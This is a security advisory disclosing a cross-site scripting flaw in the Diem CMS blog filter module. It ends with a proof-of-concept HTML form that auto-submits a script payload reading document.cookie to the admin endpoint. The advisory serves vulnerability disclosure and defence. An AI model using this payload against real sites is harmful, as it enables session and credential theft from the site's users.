XSS vulnerability in Diem


Vulnerability ID: HTB22460 Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_diem_2.html Product: Diem Vendor: Diem team Vulnerable Version: 5.1.2 and Probably Prior Versions Vendor Notification: 29 June 2010 Vulnerability Type: XSS (Cross Site Scripting) Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response Risk level: Medium Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the blog items filter module script to properly sanitize user-supplied input in "article_form_filter[name][text]" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. An attacker can use browser to exploit this vulnerability. The following PoC is available: <form action="http://host/admin.php/content/blog/articles/filter" name="main" > <input type="hidden" name="article_form_filter[name][text]" value='1"><script>alert(document.cookie)</script>' /> <input type="hidden" name="article_form_filter[is_active]" value="" /> <input type="hidden" name="article_form_filter[text][text]" value="" /> <input type="hidden" name="article_form_filter[created_by]" value="" /> <input type="hidden" name="article_form_filter[created_at]" value="" /> <input type="hidden" name="article_form_filter[updated_at]" value="" /> </form> <script> document.main.submit(); </script>